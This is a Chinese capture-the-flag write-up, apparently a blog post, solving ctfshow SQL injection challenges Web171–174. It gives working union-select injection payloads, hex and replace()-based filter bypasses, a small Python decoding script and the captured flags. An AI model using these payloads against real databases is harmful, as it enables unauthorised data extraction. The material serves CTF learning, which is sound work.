ctfshow SQL注入Web171-174
42022/4/24
SQL注入
Web171
语法:查询表中的数据
查询所有行
命令: select <字段1,字段2,...> from < 表名 > where < 条件>
例如:查看表 MyClass 中所有数据
mysql> select * from MyClass;查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
select username,password from user where username !='flag' and id = ‘10000’;(输入一个很大的,表中没有的值或者-1) or id=’26’ limit 1;
Playload:
10000’ or id=’26
试了一下25不是,就试一下26
ctfshow{4d873b5b-6861-4d54-bed8-7e3b857d878a}
Web172
"select username,password from ctfshow_user2 where username !='flag' and id = '注入的地方' limit 1;";
这题是使用联合查询
select username,password from ctfshow_user2 where username !='flag' and id = '9999'union select id,password from ctfshow_user2 where username = 'flag';
虽然前面的语句查不到,但是联合查询是去并集的所以后面的语句查询得到,因为题目不允许username为flag,所以直接查id和password
Playload:
9999'union select id,password from ctfshow_user2 where username = 'flag
ctfshow{710c102e-edec-40df-b78e-2368eb478572}
Web173
查询语句:
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
意思是结果不可以有flag
select id,username,password from ctfshow_user3 where id ='9999'union select id,hex(a.username),b.password from ctfshow_user3 as a where a.username='flag';
法1:用web172的方法
select id,username,password from ctfshow_user3 where username !='flag' and id = '9999'union select id,id,password from ctfshow_user2 where username = 'flag';
(注意因为此题目查询了三个列,我们联合查询也要查询3个列所以我写了两个id)
Playload:
9999'union select id,id,password from ctfshow_user3 where username = 'flag
法2:
用16进制编码username使用户名不出现flag
select id,username,password from ctfshow_user3 where id ='9999'union select id,hex(a.username),b.password from ctfshow_user3 as a where a.username='flag';
Playload:
9999'union select id,hex(a.username),a.password from ctfshow_user3 as a where a.username='flag
ctfshow{1e4e1030-87af-4a47-ae52-c1320628af06}
2022/4/26
Web174
返回值过滤了数字和flag
查询语句:
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑:
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
Playload:
9999'union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','nba'),'2','nbb'),'3','nbc'),'4','nbd'),'5','nbe'),'6','nbf'),'7','nbg'),'8','nbh'),'9','nbi'),'0','nbj'),'a' from ctfshow_user4 where username='flag'--+
因为返回值过滤了数字和flag所以用别的字符替换掉数字然后再转换回去
替换回去的py脚本:
nb='ctfshow{nbfnbcnbgnbdnbfnbfnbgnbcnbfnbhnbfFnbgnbgnbgBnbcnbenbcnbanbcnbbnbfnbcnbfnbfnbfnbcnbcnbenbfnbfnbbDnbfnbanbfnbcnbcnbanbcnbhnbbDnbcnbdnbcnbbnbfnbanbcnbanbbDnbfnbbnbcnbgnbcnbcnbcnbcnbbDnbfnbdnbfnbbnbfnbcnbfnbbnbcnbdnbcnbfnbcnbjnbcnbanbcnbdnbcnbbnbfnbfnbcnbjnbgD}'
#nb表示number
nb=nb.replace('nba','1')
nb=nb.replace('nbb','2')
nb=nb.replace('nbc','3')
nb=nb.replace('nbd','4')
nb=nb.replace('nbe','5')
nb=nb.replace('nbf','6')
nb=nb.replace('nbg','7')
nb=nb.replace('nbh','8')
nb=nb.replace('nbi','9')
nb=nb.replace('nbj','0')
print(nb)
{63746673686F777B35313263666335662D616331382D343261312D623733332D6462636234363031343266307D}
再用16进制转字符串
ctfshow{512cfc5f-ac18-42a1-b733-dbcb460142f0}
ctfshow SQL注入Web171-174相关推荐
- ctfshow sql注入 web171-web253 wp
文章目录 参考文章 sql注入 web171 web172 web173 web174 web175 解法一 解法二 web176 web177 web178 web179 web180-web182 ...
- CTFshow sql注入 上篇(web171-220)
目录 前言 题目 web 171(万能密码) web 172(回显内容过滤,base64或者hex编码绕过) web 173(回显内容过滤,base64或者hex编码绕过) web 174 (布尔盲注 ...
- CTFshow sql注入 上篇(web221-253)
` 目录 前言 题目 web221(limit注入) web222(group by注入) web223(group by注入) web224(文件名注入) web225 (堆叠注入) 解法一(han ...
- CTFSHOW SQL注入篇(211-230)
文章目录 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225-230 225 226 227 228|229|230 211 在上题 ...
- ctfshow web入门-sql注入
ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...
- 【ctfshow】web篇-SQL注入 wp
前言 记录web的题目wp,慢慢变强,铸剑. SQL注入 web171 根据语句可以看到有flag没有被显示出来,让我们拼接语句来绕过 //拼接sql语句查找指定ID用户 $sql = "s ...
- CTFshow——web入门——sql注入
web入门--sql注入 基础知识点 判断是否注入 order by 判断列数 使用union select 判断回显 查询数据库 web171 web172 web173 web174 web175 ...
- ctfshow web入门 sql注入
无过滤注入 web171 查询语句 $sql = "select username,password from user where username !='flag' and id = ' ...
- JDBC SQl注入
首先创建jdbc工具类 public class DBUtils {//静态加载static {try {Class.forName("com.mysql.jdbc.Driver" ...
最新文章
- cs怎么加电脑人_怎么给电脑文件夹加密码?
- static final public synchronized abstract
- tomcat work目录的作用就是编译每个项目里的jsp文件为java文件如果项目没有jsp页面则这个项目文件夹为空...
- 个人做asp.net时犯过的错或是一点心得什么的(我就经常的更新一下吧)
- 盘点“逆市上涨”BZ第一季度回购亮点
- Mac本如何运营php框架,1、Mac系统下搭建thinkPHP框架环境
- 电视光端机应用范围及故障维护问题介绍
- Linux下SVN搭建
- 大智慧加密指标源码恢复,指标破解工具
- 产业链图谱:2021年中国显示器产业链图谱|产业链全景图
- html毕业答辩ppt,毕业论文答辩ppt(要求和制作技巧)
- 嘘——2021还没对象?你的虚拟女友已上线。
- python求n的阶乘_python如何计算n的阶乘
- vue-router动态路由实践
- java加按钮_剪辑大神都在用的加字幕神器,你知道嘛
- linux系统如何卸载所有程序,Linux系统中完全卸载删除程序的命令
- android手机图片和价格,安卓拍照手机强势推荐及报价【图文】
- JavaSE学习---I/O流学习分享
- 批量查询谷歌PR权重的方法有哪些?是什么影响着谷歌PR值?
- 一个C语言的基本教程—位运算篇
热门文章
- SAP维护视图(Maintenance View)和视图簇(View Cluster)用法小结
- The container name XXX is already in use by container
- 功率单位(power control)
- MAC中 Texpad编辑
- 计算机视觉中的自监督学习与注意力建模
- 【Python语言基础】——Python NumPy 数组索引
- 查(Cha)与査(Zha)的字符编码竟然不同
- kubectl 命令使用(create系列)
- Python_django+vue大学生志愿者服务招募网站源代码介绍
- APE-Gen:锚定肽-MHC集合生成器